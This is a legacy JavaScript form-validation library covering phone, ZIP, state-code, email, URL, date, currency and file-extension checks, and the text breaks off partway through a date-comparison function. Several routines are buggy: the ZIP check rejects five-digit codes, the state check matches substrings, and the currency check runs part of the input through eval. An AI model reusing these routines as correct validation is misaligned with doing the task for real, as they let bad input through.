/*Function comments()
*{
* *************************************************************
** FORMVAL.JS - JS Form Validation Library
************************************************************* */

/* *************************************************************
** USAGE
** =====
** Functions to Validata Form-Element Data:
**   isEmpty(s) - true if string s is empty
**   isBlank(s) - true if string s is empty or blank (all whitespace chars)
**   isLetter(c) - true if char c is an English letter 
**   isDigit(c) - true if char c is a digit 
**   isInteger(s) - true if string s is a signed/unsigned number
**   isIntegerInRange(s, a, b) - true if string s (integer) is a <= s <= b
**   isFloat(s) - true if string s is a signed/unsigned floating-point number
**   isAlphanumeric(s, AllowSpace, AllowUnderscore) - true if s is English letters and numbers only
**   isUSPhoneNumber(s) - true if string s is a valid U.S. phone number
**   isZIPCode(s) - true if string s is a valid U.S. ZIP code
**   isStateCode(s) - true if string s is a valid U.S. (2-letter) state code
**   isEmail(s) - true if string s is a valid email address
**   checkURL(sUrl) - true if Valid URl or false for inValid URL
**   checkURLNew(sUrl) - true if Valid URl or false for inValid URL, NEW - use this
**   getCheckedRadioButton(radioSet) - gets index checked radio button in set
**   getCheckedCheckboxes(checkboxSet) - gets index(es) of checked checkboxes in set
**   getCheckedSelectOptions(select) - gets index(es) of checked select options
**
** Functions to Reformat input=text Form-Field Data:
**   stripCharsInBag(s, bag) - removes all chars in string bag from string s
**   stripCharsNotInBag(s, bag) - removes all chars NOT in string bag from string s
**   stripBlanks(s) - removes all blank chars from s
**   stripLeadingBlanks(s) - removes leading blank chars from s
**   stripTrailingBlanks(s) - removes trailing blank chars from s
**   stripLeadingTrailingBlanks(s) - removes lead+trail blank chars from s
**   reformatString(targetStr, str1, int1 [, str2, int2 [, ..., ...]]) - 
**     inserts formatting chars or delimiters in targetStr (see below)
**  formatCurrency(str)-formats input to currency format

** isNumericNegative -- skips the "-" sign and rest validates for numeric
************************************************************* */


/* ********************************************************** */
/* Global Variables and Constants *************************** */
/* ********************************************************** */
//}

var digits = "0123456789";
var lowercaseLetters = "abcdefghijklmnopqrstuvwxyz"
var uppercaseLetters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
var blanks = " \t\n\r";  // aka whitespace chars


// decimal point character differs by language and culture
var decimalPointDelimiter = "."

// non-digit characters allowed in phone numbers
var phoneNumberDelimiters = "()- ";

// characters allowed in US phone numbers
var validUSPhoneChars = digits + phoneNumberDelimiters;

// U.S. phone numbers have 10 digits, formatted as ### ### #### or (###)###-####
var digitsInUSPhoneNumber = 10;

// non-digit characters which are allowed in ZIP Codes
var ZIPCodeDelimiters = "-";


// our preferred delimiter for reformatting ZIP Codes
var ZIPCodeDelimeter = "-"

//characters allowed in ZipCode 
var validZipCodeChars = digits + ZIPCodeDelimiters


// U.S. ZIP codes have 5 or 9 digits, formatted as ##### or #####-####
//var digitsInZIPCode1 = 5
var digitsInZIPCode1 = 6
var digitsInZIPCode2 = 9

// Valid U.S. Postal Codes for states, territories, armed forces, etc.
// See http://www.usps.gov/ncsc/lookups/abbr_state.txt
var USStateCodeDelimiter = "|";
var USStateCodes = "AL|AK|AS|AZ|AR|CA|CO|CT|DE|DC|FM|FL|GA|GU|HI|ID|IL|IN|IA|KS|KY|LA|ME|MH|MD|MA|MI|MN|MS|MO|MT|NE|NV|NH|NJ|NM|NY|NC|ND|MP|OH|OK|OR|PW|PA|PR|RI|SC|SD|TN|TX|UT|VT|VI|VA|WA|WV|WI|WY|AE|AA|AE|AE|AP|al|ak|as|az|ar|ca|co|ct|de|dc|fm|fl|ga|gu|hi|id|il|in|ia|ks|ky|la|me|mh|md|ma|mi|mn|ms|mo|mt|ne|nv|nh|nj|nm|ny|nc|nd|mp|oh|ok|or|pw|pa|pr|ri|sc|sd|tn|tx|ut|vt|vi|va|wa|wv|wi|wy|ae|aa|ae|ae|ap"
//var month[] = {"JANUARY", "FEBURARY", "MARCH", "APRIL", "JUNE","JULY","AUGUST","SEPTEMBER","OCTOBER","NOVEMBER","DECEMBER"};



/* ********************************************************** */
/* Functions ************************************************ */
/* ********************************************************** */

function isNumericKeyPress()
{
	
	return ((event.keyCode>=48 && event.keyCode <=57));
	
}



function isValidString(s, ValidChars)
{

 //if isBlank(s) return false;
 
 for(var i=0; i<s.length; i++)
 {
  
  if( ValidChars.indexOf(s.substr(i,1)) == -1)
   return false;
 
 }
 
return true;
}


// Returns true if string s is empty
function isEmpty(s)
  {
  return ((s == null) || (s.length == 0));
  }


// Returns true if string s is empty or all blank chars

function isBlank(s)
  {
  var i;

  // Is s empty?
  if (isEmpty(s))
    return true;

  // Search through string's chars one by one until we find first
  // non-blank char, then return false; if we don't, return true
  for (i=0; i<s.length; i++)
    {   
    // Check that current character isn't blank
    var c = s.charAt(i);
    if (blanks.indexOf(c) == -1) 
      return false;
    }
  // All characters are blank
  return true;
  }


// Removes all characters which appear in string bag from string s
function stripCharsInBag (s, bag)
  {
  var i;
  var returnString = "";

  // Search through string's characters one by one;
  // if character is not in bag, append to returnString
  for (i = 0; i < s.length; i++)
    {   
    // Check that current character isn't blank
    var c = s.charAt(i);
    if (bag.indexOf(c) == -1) 
      returnString += c;
    }
  return returnString;
  }


// Removes all characters which do NOT appear in string bag from string s
function stripCharsNotInBag (s, bag)
  {
  var i;
  var returnString = "";

  // Search through string's characters one by one;
  // if character is in bag, append to returnString
  for (i = 0; i < s.length; i++)
    {   
    // Check that current character isn't blank
    var c = s.charAt(i);
    if (bag.indexOf(c) != -1) 
      returnString += c;
    }
  return returnString;
  }


// Removes all blank chars (as defined by blanks) from s

function stripBlanks(s)
  {
  return stripCharsInBag(s, blanks)
  }


// Removes leading blank chars (as defined by blanks) from s

function stripLeadingBlanks(s)
  { 
  var i = 0;
  while ((i < s.length) && (blanks.indexOf(s.charAt(i)) != -1))
     i++;
  return s.substring(i, s.length);
  }


// Removes trailing blank chars (as defined by blanks) from s

function stripTrailingBlanks(s)
  { 
  var i = s.length - 1;
  while ((i >= 0) && (blanks.indexOf(s.charAt(i)) != -1))
     i--;
  return s.substring(0, i+1);
  }


// Removes leading+trailing blank chars (as defined by blanks) from s

function stripLeadingTrailingBlanks(s)
  { 
  s = stripLeadingBlanks(s);
  s = stripTrailingBlanks(s);
  return s;
  }


// Returns true if character c is an English letter (A .. Z, a..z)

function isLetter(c)
  {
  return (((c >= "a") && (c <= "z")) || ((c >= "A") && (c <= "Z")));
  }


// Returns true if character c is a digit (0 .. 9)

function isDigit(c)
  {
  return ((c >= "0") && (c <= "9"));
  }


// Returns true if all chars in string s are numbers;
// first character is allowed to be + or -; does not 
// accept floating point, exponential notation, etc.

function isInteger(s)
  {
  //if (isBlank(s))
   // return false;

  // skip leading + or -
  if ((s.charAt(0) == "-") || (s.charAt(0) == "+"))
    var i = 1;
  else
    var i = 0;

  // Search through string's chars one by one until we find a 
  // non-numeric char, then return false; if we don't, return true
  for (i; i<s.length; i++)
    { 
      
		// Check that current character is number
		var c = s.charAt(i);
		if (!isDigit(c)) 
		  return false;
    }
  // All characters are numbers
  return true;
  }

function isNumeric(s)
  {
  if (isBlank(s))
    return false;

  // Search through string's chars one by one until we find a 
  // non-numeric char, then return false; if we don't, return true
  for (var i=0; i<s.length; i++)
    { 
      
    // Check that current character is number
    var c = s.charAt(i);
    //if (!isDigit(c)) 
    if (!isFloat(c))
      return false;
    }
  // All characters are numbers
  return true;
  }
  

function isNumericNegative(s)
  {
  if (isBlank(s))
    return false;

  // Search through string's chars one by one until we find a 
  // non-numeric char, then return false; if we don't, return true
  // skip leading + or -
  if ((s.charAt(0) == "-") || (s.charAt(0) == "+"))
    var i = 1;
  else
    var i = 0;
    
  for (i; i<s.length; i++)
    { 
      
    // Check that current character is number
    var c = s.charAt(i);
    if (!isDigit(c)) 
      return false;
    }
  // All characters are numbers
  return true;
  }


// True if string s is an unsigned floating point (real) number; 
// first character is allowed to be + or -; no exponential notation.

function isFloat(s)
  { 
  var j=0;
  if (s == decimalPointDelimiter) 
    return false;

  // skip leading + or -
  if ((s.charAt(0) == "-") || (s.charAt(0) == "+"))
    var i = 1;
  else
    var i = 0;

  // Search through string's chars one by one until we find a 
  // non-numeric char, then return false; if we don't, return true

  for (i; i<s.length; i++)
    {   
    // Check that current character is number
    var c = s.charAt(i);

    if (c == decimalPointDelimiter) 
	  {
	  j++;
	  if(j>1)
	    return false;
	  }
    else if (!isDigit(c)) 
      return false;
    }
    
  // All characters are numbers
  return true;
  }


// True if string s is an unsigned floating point (real) number; 
// d - No. of Decimal points 
// first character is allowed to be + or -; no exponential notation.

function isFloatNew(s,d)
  { 
  var j=0;
  var r=0;
  var cnt=0;
  if (s == decimalPointDelimiter) 
    return false;

  // skip leading + or -
  if ((s.charAt(0) == "-") || (s.charAt(0) == "+"))
    var i = 1;
  else
    var i = 0;

  // Search through string's chars one by one until we find a 
  // non-numeric char, then return false; if we don't, return true

  for (i; i<s.length; i++)
    {   
		// Check that current character is number
		var c = s.charAt(i);

		if (c == decimalPointDelimiter) 
		  {
		  j++;
		  if(j>1)
		    return false;
		  }
		else if (!isDigit(c)) 
		  return false;

		//checking for decimal points
		if (c == ".") r++;
	
		if (r > 0)
		{
			if (isDigit(c)) 
				cnt++;	
		}	
    }
    
    //if no. of Decimal points more than allowed
    if (cnt > d) return false ;
    
  // All characters are numbers
  return true;
  }


// Returns true if string s is English letters (A .. Z, a..z) only

function isAlphabetic(s)
  {
  var i;

  if (isBlank(s)) 
     return false;

  // Search through string's chars one by one until we find a 
  // non-alphabetic char, then return false; if we don't, return true

  for (i = 0; i < s.length; i++)
  {   
  // Check that current character is letter
  var c = s.charAt(i);

  if (!isLetter(c))
    return false;
  }

  // All characters are letters
  return true;
  }


// Returns true if string s is English letters (A .. Z, a..z) and numbers only
// s -- String to be validated
// AllowSpace -- if space is allowed(true/false)
//AllowUnderscore -- if underscore is allowed(true/false)

function isAlphanumeric(s, AllowSpace, AllowUnderscore)
  {
  var i;

  // Search through string's chars one by one until we find a 
  // non-alphanumeric char, then return false; if we don't, return true

  for (i = 0; i < s.length; i++)
    {   
    // Check that current character is number or letter
    var c = s.charAt(i);
		if (!(isLetter(c) || isDigit(c) )){
			switch(c){
				case "_" :
					if(!AllowUnderscore) {
						return false;
					}
					break ;
				case " " :
					if(!AllowSpace){
						return false;
					}
					break ;
				case "-" :
					break;
				default :
					return false;
			}	
		}
    }

	// All characters are numbers or letters
	return true;
  }

function isAlphanumeric1(s, AllowSpace, AllowUnderscore)
  {
  var i;

  // Search through string's chars one by one until we find a 
  // non-alphanumeric char, then return false; if we don't, return true

  for (i = 0; i < s.length; i++)
    {   
    // Check that current character is number or letter
    var c = s.charAt(i);
		if (!(isLetter(c) || isDigit(c) )){
			switch(c){
				case "_" :
					if(!AllowUnderscore) {
						return false;
					}
					break ;
				case " " :
					if(!AllowSpace){
						return false;
					}
					break ;
				case "-" :
					break;
				default :
					return false;
			}	
		}
    }

	// All characters are numbers or letters
	return true;
  }
  
  function isCompanyName(s, AllowSpace, AllowUnderscore, AllowDot)
  {
  var i;

  // Search through string's chars one by one until we find a 
  // non-alphanumeric char, then return false; if we don't, return true

  for (i = 0; i < s.length; i++)
    {   
    // Check that current character is number or letter
    var c = s.charAt(i);
		if (!(isLetter(c) || isDigit(c) )){
			switch(c){
				case "_" :
					if(!AllowUnderscore) {
						return false;
					}
					break ;
				case " " :
					if(!AllowSpace){
						return false;
					}
					break ;
				case "." :
					if(!AllowDot){
						return false;
					}
					break ;	
				default :
					return false;
			}	
		}
    }

	// All characters are numbers or letters
	return true;
  }


// reformatString(targetStr [, str1, int1, str2, int2, ... strN, intN])       
//
// Handy function for arbitrarily inserting formatting characters
// or delimiters of various kinds within targetString.
//
// reformatString() takes one required string argument, targetStr, 
// and 0-N optional string/integer-pair arguments. These optional 
// arguments specify how targetStr is to be reformatted and how/where 
// other strings are to be inserted in it.
//
// reformatString() processes the optional args in order one by one.
// * If the argument is an integer, reformatString() appends that number 
//   of sequential characters from targetStr to the resultString.
// * If the argument is a string, reformatString() appends the string
//   to the resultString.
//
// NOTE: The first argument after targetString must be a string.
// (It can be empty.)  The second argument must be an integer.
// Thereafter, integers and strings must alternate.  This is to
// provide backward compatibility to Navigator 2.0.2 JavaScript
// by avoiding use of the typeof operator.
//
// It is the caller's responsibility to make sure that we do not
// try to copy more characters from s than s.length.
//
// EXAMPLES:
//
// * To reformat a 10-digit U.S. phone number from "1234567890"
//   to "(123)456-7890" make this function call:
//   reformatString("1234567890", "(", 3, ")", 3, "-", 4)
//
// HINT:
//
// If you have a string which is already delimited in one way
// (example: a phone number delimited with spaces as "123 456 7890")
// and you want to delimit it in another way using function reformat,
// call stripCharsNotInBag() or stripBlanks() to remove unwanted 
// characters, THEN call function reformatString to delimit as desired.
//
// EXAMPLE:
//
// reformatString(stripCharsNotInBag ("123 456 7890", digits),
//           "(", 3, ") ", 3, "-", 4)

function reformatString(targetString)
  { 
  var arg;
  var sPos = 0;
  var resultString = "";

  for (var i=1; i<reformatString.arguments.length; i++)
    {
    arg = reformatString.arguments[i];
    if (i%2 == 1) 
      {
      resultString += arg;
      }
    else
      {
      resultString += targetString.substring(sPos, sPos + arg);
      sPos += arg;
      }
    }
  return resultString;
  }


// Returns true if s is valid U.S. phone number (with area code): 10 digits

function isUSPhoneNumber(s)
  { 
  
  var temp = stripCharsNotInBag(s, digits);
  return( (temp.length == digitsInUSPhoneNumber) && isValidString(s, validUSPhoneChars) );
  
  }


// Returns true if string s is a valid U.S. ZIP code: ##### or #####-####

function isZIPCode(s)
  { 
  s = stripLeadingTrailingBlanks(s);

  
//  return( (stripCharsNotInBag(s, digits).length == digitsInZIPCode1) && (s.indexOf("-") == -1) && isValidString(s, validZipCodeChars) );
  //  return true;

  if (s.indexOf("-") != 5)  // - in wrong place
    return false;

  s = stripCharsNotInBag(s, digits);
 
  if (s.length == digitsInZIPCode2)
    return true;   // #####-####
  else
    return false;  // not #####-####
  }


// Returns true if s is valid 2-letter U.S. state abbreviation

function isStateCode(s)
  { 
  if (isBlank(s)) 
    return false;
  return ((USStateCodes.indexOf(s) != -1) &&
          (s.indexOf(USStateCodeDelimiter) == -1))
  }



//function to check valid email address

function isEmail(emailStr) {
/* The following pattern is used to check if the entered e-mail address
   fits the user@domain format.  It also is used to separate the username
   from the domain. */
var emailPat=/^(.+)@(.+)$/
/* The following string represents the pattern for matching all special
   characters.  We don't want to allow special characters in the address. 
   These characters include ( ) < > @ , ; : \ " . [ ]    */
var specialChars="\\(\\)<>@,;:\\\\\\\"\\.\\[\\]"
/* The following string represents the range of characters allowed in a 
   username or domainname.  It really states which chars aren't allowed. */
var validChars="\[^\\s" + specialChars + "\]"
/* The following pattern applies if the "user" is a quoted string (in
   which case, there are no rules about which characters are allowed
   and which aren't; anything goes).  E.g. "jiminy cricket"@disney.com
   is a legal e-mail address. */
var quotedUser="(\"[^\"]*\")"
/* The following pattern applies for domains that are IP addresses,
   rather than symbolic names.  E.g. joe@[123.124.233.4] is a legal
   e-mail address. NOTE: The square brackets are required. */
var ipDomainPat=/^\[(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\]$/
/* The following string represents an atom (basically a series of
   non-special characters.) */
var atom=validChars + '+'
/* The following string represents one word in the typical username.
   For example, in john.doe@somewhere.com, john and doe are words.
   Basically, a word is either an atom or quoted string. */
var word="(" + atom + "|" + quotedUser + ")"
// The following pattern describes the structure of the user
var userPat=new RegExp("^" + word + "(\\." + word + ")*$")
/* The following pattern describes the structure of a normal symbolic
   domain, as opposed to ipDomainPat, shown above. */
var domainPat=new RegExp("^" + atom + "(\\." + atom +")*$")
/* Finally, let's start trying to figure out if the supplied address is
   valid. */

/* Begin with the coarse pattern to simply break up user@domain into
   different pieces that are easy to analyze. */
var matchArray=emailStr.match(emailPat)

// Check for the Email start with number.
if ('0123456789'.indexOf(emailStr.charAt(0)) >= 0) 
{
   return false; 	
}
if ('!%&\\(\\)<>@,;:\\\\\\\"\\.\\[\\]'.indexOf(emailStr.charAt(0)) >= 0) 
{
   return false; 	
}

if (matchArray==null) {
  /* Too many/few @'s or something; basically, this address doesn't
     even fit the general mould of a valid e-mail address. */
	//alert("Email address seems incorrect (check @ and .'s)")
	return false
}
var user=matchArray[1]
var domain=matchArray[2]

// See if "user" is valid 
if (user.match(userPat)==null) {
    // user is not valid
    //alert("The username doesn't seem to be valid.")
    return false
}

/* if the e-mail address is at an IP address (as opposed to a symbolic
   host name) make sure the IP address is valid. */
var IPArray=domain.match(ipDomainPat)
if (IPArray!=null) {
    // this is an IP address
	  for (var i=1;i<=4;i++) {
	    if (IPArray[i]>255) {
	  //      alert("Destination IP address is invalid!")
		return false
	    }
    }
    return true
}

// Domain is symbolic name
var domainArray=domain.match(domainPat)
if (domainArray==null) {
	//alert("The domain name doesn't seem to be valid.")
    return false
}

/* domain name seems valid, but now make sure that it ends in a
   three-letter word (like com, edu, gov) or a two-letter word,
   representing country (uk, nl), and that there's a hostname preceding 
   the domain or country. */

/* Now we need to break up the domain to get a count of how many atoms
   it consists of. */
var atomPat=new RegExp(atom,"g")
var domArr=domain.match(atomPat)
var len=domArr.length
if (domArr[domArr.length-1].length<2 || 
    domArr[domArr.length-1].length>3) {
   // the address must end in a two letter or three letter word.
   //alert("The address must end in a three-letter domain, or two letter country.")
   return false
}

// Make sure there's a host name preceding the domain.
if (len<2) {
   //var errStr="This address is missing a hostname!"
   //alert(errStr)
   return false
}

// If we've gotten this far, everything's valid!
return true;
}


// Returns true if string s is an integer such that a <= s <= b

function isIntegerInRange (s, a, b)
  { 
  if (isBlank(s)) 
    return false;
  if (!isInteger(s)) 
    return false;
  var num = parseInt(s);
  return ((num >= a) && (num <= b));
  }


// Returns index of checked radio button in radio set,
// or -1 if no radio buttons are checked

function getCheckedRadioButton(radioSet)
  { 
  for (var i=0; i<radioSet.length; i++)
    if (radioSet[i].checked)
      return i;
  return -1;
  }


// Returns array containing index(es) of checked checkbox(es) 
// in checkbox set, or -1 if no checkboxes are checked

function getCheckedCheckboxes(checkboxSet)
  {
  var arr = new Array();
  for (var i=0,j=0; i<checkboxSet.length; i++)
    if (checkboxSet[i].checked)
      arr[j++] = i;
  if (arr.length > 0)
    return arr;
  else
    return -1;
  }


// Returns array containing index(es) of checked option(s) 
// in select box, or -1 if no options are selected

function getCheckedSelectOptions(select)
  {
  var arr = new Array();
  for (var i=0,j=0; i<select.length; i++)
    if (select.options[i].selected)
      arr[j++] = i;
  if (arr.length > 0)
    return arr;
  else
    return -1;
  }


// Returns true if sdt1 > sdt2

function DateComp(sdt1,sdt2) {

	if (isDate(sdt1) && isDate(sdt2))
	{
	}
	else
	{
		return false; 
	}

	var day1 = sdt1.charAt(0) == "0" ? parseInt(sdt1.substring(1,2)) : parseInt(sdt1.substring(0,2));
	var month1 = sdt1.charAt(3) == "0" ? parseInt(sdt1.substring(4,5)) : parseInt(sdt1.substring(3,5));
//	var month1 = sdt1.charAt(0) == "0" ? parseInt(sdt1.substring(1,2)) : parseInt(sdt1.substring(0,2));
//	var day1 = sdt1.charAt(3) == "0" ? parseInt(sdt1.substring(4,5)) : parseInt(sdt1.substring(3,5));
	var begin1 = sdt1.charAt(6) == "0" ? (sdt1.charAt(7) == "0" ? (sdt1.charAt(8) == "0" ? 9 : 8) : 7) : 6;
	var year1 = parseInt(sdt1.substring(begin1, 10));
	var dt1 = new Date(year1,month1,day1)
	
	var day2 = sdt2.charAt(0) == "0" ? parseInt(sdt2.substring(1,2)) : parseInt(sdt2.substring(0,2));
	var month2 = sdt2.charAt(3) == "0" ? parseInt(sdt2.substring(4,5)) : parseInt(sdt2.substring(3,5));
//	var month2 = sdt2.charAt(0) == "0" ? parseInt(sdt2.substring(1,2)) : parseInt(sdt2.substring(0,2));
//	var day2 = sdt2.charAt(3) == "0" ? parseInt(sdt2.substring(4,5)) : parseInt(sdt2.substring(3,5));
	var begin2 = sdt2.charAt(6) == "0" ? (sdt2.charAt(7) == "0" ? (sdt2.charAt(8) == "0" ? 9 : 8) : 7) : 6;
	var year2 = parseInt(sdt2.substring(begin2, 10));
	var dt2 = new Date(year2,month2,day2)

	if (year1 > year2 ) 
	   return true;
	else
	{
	  if (year1==year2)
	  {
			if (month1 > month2)
			{
				return true;
			}
			else
			{
				if  (month1 == month2)
				{
					if (day1 > day2)
						return true;
					else
						return false ;
				}
				else
				{
					return false;
				}	
			}			
	  }
	  else
	  {
		return false ;
	   }	
	}	   
}

function isDate(str) {
  if (str.length != 10) { return false }
  for (j=0; j<str.length; j++) {
   if ((j == 2) || (j == 5)) {
      if (str.charAt(j) != "/") { return false }
    } 
    else 
    {
      if ((str.charAt(j) < "0") || (str.charAt(j) > "9")) { return false }
    }
  }

  var day = str.charAt(0) == "0" ? parseInt(str.substring(1,2)) : parseInt(str.substring(0,2));
  var month = str.charAt(3) == "0" ? parseInt(str.substring(4,5)) : parseInt(str.substring(3,5));
  var begin = str.charAt(6) == "0" ? (str.charAt(7) == "0" ? (str.charAt(8) == "0" ? 9 : 8) : 7) : 6;
  var year = parseInt(str.substring(begin, 10));
  
  if (day == 0) { return false }
  if (month == 0 || month > 12) { return false }
  if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
    if (day > 31) 
    { 
     return false; 
    }
  } else {
    if (month == 4 || month == 6 || month == 9 || month == 11) {
      if (day > 30) { return false }
    } else {
      if (year%4 != 0) {
        if (day > 28) { return false }
      } else {
        if (day > 29) { return false }
      }
    }
  }
  return true;
}

	function chkNumeric(iData)
	{
		// only allow numbers to be entered
		var checkStr = iData;
		var sNewStr = '';
		var ch="";
		var i=0;
		var counter = 0 ;
		for(i=0;;i++)
		{
			ch = checkStr.charAt(i);
			if (ch == "0" || ch =="1"  || ch =="2"  || ch =="3"  || ch =="4"  || ch =="5"  || ch =="6"  || ch =="7"  || ch =="8"  || ch =="9"  || ch == ".")
			{
				if (ch=='.')
				{
					counter++;
					if (counter > 1 )
					{ 
					    return sNewStr ;
					 }	
					    
				}
				sNewStr = sNewStr + ch ;

			}
			else
			{
				 return sNewStr ;
			}
		if (i == checkStr.length-1) break;
		}
		return iData;
	  }			


//function to format value in currency fields

function formatCurrency(num) {
	num = num.toString().replace(/\$|\,/g,'');
	if(isNaN(num))
	num = "0";
	sign = (num == (num = Math.abs(num)));
	num = Math.floor(num*100+0.50000000001);
	cents = num%100;
	num = Math.floor(num/100).toString();
	if(cents<10)
	cents = "0" + cents;
	for (var i = 0; i < Math.floor((num.length-(1+i))/3); i++)
	num = num.substring(0,num.length-(4*i+3))+','+
	num.substring(num.length-(4*i+3));
	return (((sign)?'':'-') + num + '.' + cents);
}

	function checkURLNew(sUrl)
	{
		var url = false ;
		var isNot = "`!@$^*()[{]}\|;'',<> " ;
		if (sUrl.length != 0 )
		{
//			if (sUrl.indexOf('://') != -1)
//			{
				if (sUrl.indexOf('"') == -1)
				{
					url = true ;
					if (sUrl.length <= 7 )
					{
						url = false ;	
					}
					for (i=0;i!=sUrl.length;++i)
					{
						if (isNot.indexOf(sUrl.substring(i,i+1)) != -1)
						{
							url = false ;	
						}
					}
					//Checking for .com, .net, .org	in the URL				
					if (sUrl.indexOf('.com') != -1)
					{
						url = true ;						
					}
					else
					{
						if (sUrl.indexOf('.net') != -1)
						{
							url = true ;
						}
						else
						{
							if(sUrl.indexOf('.org') != -1)
							{
								url = true ;
							}
							else
							{
								url = false ;
							}
						}
					}
					//
				}
//			}
		}
		else{
			url=true;
		}	
		if (url == false )
		{
//			alert('In valid URL') ;
			return false;
		}
		else
		{
			//checkURLNew = true ;
			return true ;
		}	
	}

function checkURL(sUrl)
{
	var url = false ;
	var isNot = "`!@$^*()[{]}\|;'',<> " ;
	if (sUrl.length != 0 )
	{
		if (sUrl.indexOf('://') != -1)
		{
			if (sUrl.indexOf('"') == -1)
			{
				url = true ;
				if (sUrl.length <= 7 )
				{
					url = false ;	
				}
				for (i=0;i!=sUrl.length;++i)
				{
					if (isNot.indexOf(sUrl.substring(i,i+1)) != -1)
					{
						url = false ;	
					}
				}
			}
		}
	}	
	if (url == false )
	{
//		alert('In valid URL') ;
		return false;
	}
	else
	{
		return true ;
	}	
}

function isValidFile(file) 
{
	var extArray = new Array(".gif", ".jpg", ".png", ".jpeg");
	var allowSubmit = false;
	var ext 
	while (file.indexOf("\\") != -1)
	{
		file = file.slice(file.indexOf("\\") + 1);
	}
	ext = file.slice(file.indexOf(".")).toLowerCase();
	for (var i = 0; i < extArray.length; i++) 
	{
		if (extArray[i] == ext) 
		{ 
			allowSubmit = true; 
			break; 
		}
	}

	if (allowSubmit)
	{ 
		return true;
	}
	else
	{
		return false;
	}
}

function trimme(strName)
{
  var strTemp = "";
  strTemp = strName;
  var i = 0;

  if(strName.indexOf(" ") == 0)
  {
    for(i=0;i<=strTemp.length;i++)
    {
      if(strName.indexOf(" ") == 0)
      {
       strName = strName.substr(1);
      }  
      else
        break;   
    }
  }
  if(strName == "")
	return false;
  else
	return true;
}


function clearText(str)
{
 var temp;
 var i;	

 for(i=0;i<=str.length-1;i++)
 {
    temp = str.indexOf('\"')
	temp=str.replace('\"'," ");
	
 	str = temp ;
 	
 	temp = str.indexOf("'","`")
 	temp = str.replace("'","`");
 	
 	str = temp ;
 }
 
 return str;
	
}	

function isCurrency(num){
	var pos ;
	var count ;
	if(!isFloat(num))
		return false;
	else{
		for (i=0;i<=num.length-1;i++){
			if (num.charAt(i) == "."){
				pos = i;
			}
		}	

		if(pos >= 0){
			if(eval(num.substring(pos+1)) == 0){
			   
				//return false;
			}
			count = num.length - (pos+1);
		}
		else{
			return true;
		}
		if(count == 1 || count == 2)
			return true;
		else
			return false ;
	}
}
	
//Call this Function to allow Multiple Validations in one Statement


function isAlphanumeric_comma(s, AllowSpace, AllowUnderscore)
  {
  var i;

  // Search through string's chars one by one until we find a 
  // non-alphanumeric char, then return false; if we don't, return true

  for (i = 0; i < s.length; i++)
    {   
    // Check that current character is number or letter
    var c = s.charAt(i);
		if (!(isLetter(c) || isDigit(c) )){
			switch(c){
				case "_" :
					if(!AllowUnderscore) {
						return false;
					}
					break ;
				case " " :
					if(!AllowSpace){
						return false;
					}
					break ;
				case "-" :
					break;
				case "," :
					break;
				case "&" :
					break;
				default :
					return false;
			}	
		}
    }

	// All characters are numbers or letters
	return true;
  }
 function isAlphanumeric_spchars(s, AllowSpace, AllowUnderscore, AllowHyphen, AllowComma,AllowAmpersand,AlloPeriod)
  {
  var i;

  // Search through string's chars one by one until we find a 
  // non-alphanumeric char, then return false; if we don't, return true

  for (i = 0; i < s.length; i++)
    {   
    // Check that current character is number or letter
    var c = s.charAt(i);
		if (!(isLetter(c) || isDigit(c) )){
			switch(c){
				case "_" :
					if(!AllowUnderscore) {
						return false;
					}
					break ;
				case " " :
					if(!AllowSpace){
						return false;
					}
					break ;
				case "-" :
					break;
				case "," :
					break;
				case "&" :
					break;
				case "." :
					break;
				default :
					return false;
			}	
		}
    }

	// All characters are numbers or letters
	return true;
  } 
function ValidateMultiple(compname,compulsary,onval,var1,var2,title)
{
	/*
		compname == this is the component name ex:document.formname.txtText
		compulsary == blank not allowed
		onval == which type of validation ex:isAlphanumeric,isEmail,isUSPhoneNumber
	*/
	if (compulsary == 'Y')
	{
		if(isBlank(compname.value))
		{
			alert(title + " : Cannot be blank");
			compname.focus();
			return false;
		}
		else
		{
			if (onval == isAlphanumeric)
			{			
				if(!onval(compname.value, var1, var2))
				{
					alert(title + " : Invalid Entry");
					compname.focus();				
					return false;
				}
			}
			else
			{
				if (onval == isFloatNew)
				{
					if(!onval(compname.value, var1))
					{
						alert(title + " : Invalid Entry");
						compname.focus();				
						return false;
					}
				}
				else
				{
					if(onval == isAlphanumeric_spchars)
					{
						if(!onval(compname.value, var1, var2))
						{
							alert(title + " : Invalid Entry");
							compname.focus();				
							return false;
						}
					}				
					else
					{
						if(!onval(compname.value))
						{
							alert(title + " : Invalid Entry");
							compname.focus();				
							return false;
						}				
					}
				}
			}
		}
	}
	if (compulsary == 'N')
	{
		if (onval == isAlphanumeric)
		{
			if(!isBlank(compname.value)){
				if(!onval(compname.value, var1, var2))
					{
						alert(title + " : Invalid Entry");
						compname.focus();				
						return false;
					}
			}
		}
		else
		{
			if(!isBlank(compname.value))
			{
				if (onval == isFloatNew)
				{
					if(!onval(compname.value, var1))
					{
						alert(title + " : Invalid Entry");
						compname.focus();				
						return false;
					}
				}
				else
				{
					if(!onval(compname.value))
					{
						alert(title + " : Invalid Entry");
						compname.focus();				
						return false;
					}			
				}
			}	
		}
	}
	return true;		
}


//Function to check the dates
	function isDateGreater(sDate,eDate)
	{
	
		var cnt =0;
		var cnt1 =0;
		var mo="";
		var mo1="";
		var dy="";
		var dy1="";
		var yr="";
		var yr1="";
		for (i=0;i<=sDate.length-1;i++)
		{
			if (sDate.charAt(i) != "/")
			{
				if (cnt == 0)
				{
					mo = mo + sDate.charAt(i);
				}
				if (cnt == 1)
				{
					dy = dy + sDate.charAt(i);
				}				
				if (cnt == 2)
				{
					yr = yr + sDate.charAt(i);
				}							
			}
			else
			{ 
				cnt = cnt+1;
			}
		}
		for (j=0;j<=eDate.length-1;j++)
		{
			if (eDate.charAt(j) != "/" )
			{
				if (cnt1 == 0)
				{
					mo1 = mo1 + eDate.charAt(j);
				}
				if (cnt1 == 1)
				{
					dy1 = dy1 + eDate.charAt(j);
				}
				if (cnt1 == 2)
				{
					yr1 = yr1 + eDate.charAt(j);
				}				
			}
			else
			{ 
				cnt1 = cnt1+1;
			}
		}		
		mo = Number(mo);
		mo1 = Number(mo1);
		dy = Number(dy);
		dy1 = Number(dy1);
		yr = Number(yr);
		yr1 = Number(yr1);
		
		var vDate = new Date(yr, mo, dy, 0, 0, 0)
		var mDate = new Date(yr1, mo1, dy1, 0, 0, 0)
		if(mDate < vDate)
		{
			return false;
		}
		else
		{
			return true;
